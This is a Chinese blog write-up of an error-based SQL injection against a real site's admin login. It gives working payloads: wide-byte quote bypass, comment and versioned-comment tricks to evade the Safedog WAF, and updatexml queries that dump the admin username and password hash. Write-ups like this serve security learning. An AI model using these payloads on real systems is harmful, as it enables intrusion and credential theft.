本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

  • 前文链接
  • 1.1 前言
  • 2.1 注入测试
    • 2.1.1 绕过第一式:汉字双字节编码绕过单引号
  • 3.1 获取数据库
    • 3.1.1 绕过第二式:注释
    • 3.1.2 绕过第三式:内联注释绕过空格
  • 4.1 获取表名
    • 4.1.1 绕过第四式:select过安全狗
  • 5.1 获取列名
    • 5.1.1 绕过第五式:骚操作绕过魔术函数
  • 6.1 爆帐密
  • 总结

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)

1.1 前言

最近在挖补天的src,然后挖出了不少SQL注入,完了出了数据库名就不管那么多提交了。今天挖了个报错注入的,突然一激灵,说我不能这样颓废下去了,刚好是个后台登录的界面,我决心要登进它的后台。

2.1 注入测试

bp抓包,加单引号,没有什么用

很显然,这里开启了php的魔术函数,把单引号自动转义了

2.1.1 绕过第一式:汉字双字节编码绕过单引号

当开启了魔术函数过滤了引号时,可以在引号前加上一个汉字双字节编码,可以实现绕过

例如构造Payload为:

username=%BF'

%BF解码之后是中文乱码

此时发送数据包

可以看到SQL语句变成:

SELECT * FROM `sl_admin` WHERE `username`='¿''

成功过滤单引号

程序报错,考虑使用爆错注入

3.1 获取数据库

既然想进后台,就需要账号密码,就要注数据库,表名,列名,内容

第一步是注出数据库,版本,用户等基本信息

先把Payload放出来,再进行讲解

Payload:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#

数据库名不能放出来,在本文中用test_db代替

用这个Payload成功注出了数据库,因而版本信息,当前用户只是改一个值的事,在这里也放出来

数据库:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
用户:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
版本:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#

3.1.1 绕过第二式:注释

再第一个绕过那里,可以看到SQL语句后面还多了个单引号。这个单引号要么把它闭合,要么就注释掉。由于这里开启了魔术函数,所以选择注释。

我原本是想用 –+ 来注释的,但是网站用了安全狗,所以加号被干掉了,那就只能用 # 注释了。

注释成功,很简单,没什么好说的

3.1.2 绕过第三式:内联注释绕过空格

安全狗把空格干掉了

空格或者加号都会被干掉


当空格和加号都被干掉时,可以用内联注释 /**/ 代替实现绕过

username=%BF/**/and/**/1'

4.1 获取表名

再得到数据库后要获取表名

先把Payload放出来

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#


管理员表用admin代替,其他表用test_table代替

4.1.1 绕过第四式:select过安全狗

注表名需要用select语句,因此我最开始写的Payload是这样的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#

很快啊,被安全狗拦了


这种select的绕过是最麻烦的,我在尝试了URL编码绕过混淆大小写绕过脏数据绕过均告失败后,打开了万能的百度,看到了这篇文章

https://www.cnblogs.com/w-i-n-d/p/8649590.html

在该文中,用 /*!50000%53elect*/ 代替select实现绕过

我尝试了一下,成功实现了绕过(见上图)

后来我测试了一下,其他关键词也可以用这种方法绕过

select
/*!50000%53elect*/order /*!50000%6frder*/union
/*!50000%75nion*/

5.1 获取列名

得到了表名和列名,接下来就是要获取列名

先放Payload:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)#

5.1.1 绕过第五式:骚操作绕过魔术函数

按照正常的注入流程,写出来的Payload应该是这样的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)#

问题在于,魔术函数干掉了我的单引号

于是我就开始各种百度,Google,查找怎么绕过魔术函数

Noway

就在陷入死胡同时,我灵机一动

我在最开始学SQL注入的时候,看到information_schema数据库获取信息时,专门去看了这个数据库的结构,在columns这个表里有个字段叫 column_name ,是攻击者需要获取的信息,有个字段叫 table_schema ,对应的是该字段所在的数据库名,有个字段叫 table_name ,对应的是该字段所在的表名

因此,当同时获取了数据库名和表名时,可以获取到对应表的所有列名。

但是在表数量少且无法利用表名时,可以只指定数据库名,然后利用 limit 语句获取当前数据库所有的字段,再通过经验判断表名

例如,我想知道 数据库 testadmin表的内容

select column_name from information_schema.columns where table_schema like 'test';


这时通过直觉可以判断出,admin表中的字段是 id username password

同理,在该站点中,可以通过这种方法,获取字段

当Payload指定为:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)#

得到的字段数为:typeid

通过修改limit后的值,就可以得到所有的字段,包括admin表中的字段

经过测试,当值为 7,1 时可以得到字段 username ; 当值为 8,1 时可以得到字段 password

6.1 爆帐密

得到了以上信息后,爆帐密就很简单了

爆账号:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#
爆密码:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)#

因为密码长度为32,而这里最多只能显示31为,因此用substr函数分两次爆出

解密得到账号密码

登录成功

总结

实战注入的难度比靶场大得多,各种绕过,各种骚操作。

要学会利用搜索工具,更要学会选择性放弃

当一条路走不通就换另一种方法,也许就会柳暗花明又一村

——2022.2.1

记一次艰难的SQL注入(过安全狗)相关推荐

  1. SQL注入绕过安全狗

    SQL注入绕过安全狗 前期知识 黑名单 演示开始 内联注释绕过 模糊查询绕过 查询数据库用户名和表信息 前期知识 网站安全狗是一款集网站内容安全防护.网站资源保护及网站流量保护功能为一体的服务器工具, ...

  2. 记一次成功的sql注入入侵检测附带sql性能优化

    很多同学和园友都遇到过sql注入的,其中大部分都是代码的不严谨造成的,都是犯过很多错误才学会认真起来. 但是如果是让你接手一个二等残废的网站,并让你在上面改版,而且不能推翻式改版,只能逐步替换旧的程序 ...

  3. 记一次php、sql注入学习后的一道ctf代码审计题复盘

    之前在学校的时候参加了ctf比赛,有幸拿了一个代码审计题的一血,但是当时可能也是算运气比较好吧,因为我的思路并不是常规解法,但还是拿了一血,现在更深入的学习php和sql注入之后,反过来看这道代码审计 ...

  4. SQL注入-绕过安全狗

    目录 一.什么是安全狗 二.演示如何绕过安全狗的防护 1.方式一:内联注释正常绕过 2.方式二:内联反向思维绕过. 3.方式三:GET传参绕过 4.方式四:URL编码绕过 一.什么是安全狗 网站安全狗 ...

  5. 【WAF剖析】——SQL注入之安全狗bypass深度剖析

    作者名:Demo不是emo  主页面链接:主页传送门 创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭:不要让时代的悲哀 ...

  6. 实战sql注入绕过安全狗

    实战安全狗bypass 之前有段时间一直在弄注入绕过,正好一个朋友手上有个安全狗的站 绕过 and 1=1 这种很显然直接被拦截,这里进行fuzz and 1 like 1 拦截 and /!1=1/ ...

  7. sql注入绕过安全狗4.0

    1.前言 2.前置知识 3.绕过关键字主要思路 3.1绕过连体关键字思路 3.2绕过单个关键字思路 4.以sqli-labs(Less-1)为例,绕过安全狗 4.1拦截order by 4.2拦截un ...

  8. SQL注入_Bypass安全狗apache主程序版本v4.0.23137绕过

    更新时间:2021.10.21 微信公众号:乌鸦安全 说明 本文发在乌鸦安全知识星球,仅限内部使用! 1. 版本 当前版本是最新版安全狗 主程序版本号为:v4.0.23137 上一次的版本为 主程序版 ...

  9. sql 整改措施 注入_记一次Sql注入 解决方案

    老大反馈代码里面存在sql注入,这个漏洞会导致系统遭受攻击,定位到对应的代码,如下图所示 image like 进行了一个字符串拼接,正常的情况下,前端传一个 cxk 过来,那么执行的sql就是 se ...

最新文章

  1. RedisRDB持久化机制
  2. visio篇章--1
  3. 深度学习、图像识别的基本概念
  4. jq监听页面的滚动事件,
  5. Dart与系统进程交互
  6. kali激活phpstorm_kali+phpstorm+xdebug+firefox配置本地/远程调试
  7. wordpress让百度分享支持https
  8. “色情机器”改掉手机PIN码 勒索安卓设备用户
  9. 单体架构与微服务架构(英文)
  10. 关于QtCreator中三种不同编译版本 debug、release、profile 的区别
  11. ORacle异常:ORA-00980:同义词转换不再有效
  12. 智能晾衣器全国产化电子元件推荐方案
  13. apache基金会开源项目简介
  14. 计算机左侧没有桌面菜单栏,AI软件左侧的工具栏不见了没有了怎么显示出来
  15. C++课程基础语法小结
  16. 【原创】Exchange 用户发送邮件提示:您无权执行此操作,解决办法
  17. Python使用ffmpeg下载m3u8高清视频
  18. STM32系统滴答_及不可不知的延时技巧 - (上)
  19. 【矩阵论-20220919(1.1)——数域、线性空间定义和基本性质】
  20. 第3周项目2打印星花

热门文章

  1. 系统服务器Fedora和Red Hat Enterprise Linux实用指南(第6版)(上、下册)( 入行必读的Linux圣经)...
  2. MySQL 主从架构在线热迁移MGR 方案
  3. 我们该如何设计数据库:“普通——文艺——二逼”的区别
  4. linux安装mysql图解,linux中怎么安装mysql5.6.12版本图解
  5. 五笔字典编码--------------_
  6. css nth-child_比较CSS伪类:nth-​​child与nth-of-type
  7. 《前方的路》读书笔记
  8. 这有一套完整的微信公众号代运营方案
  9. 如何在智星云主机配置 conda 和 pip 源
  10. Hawk-and-Chicken详解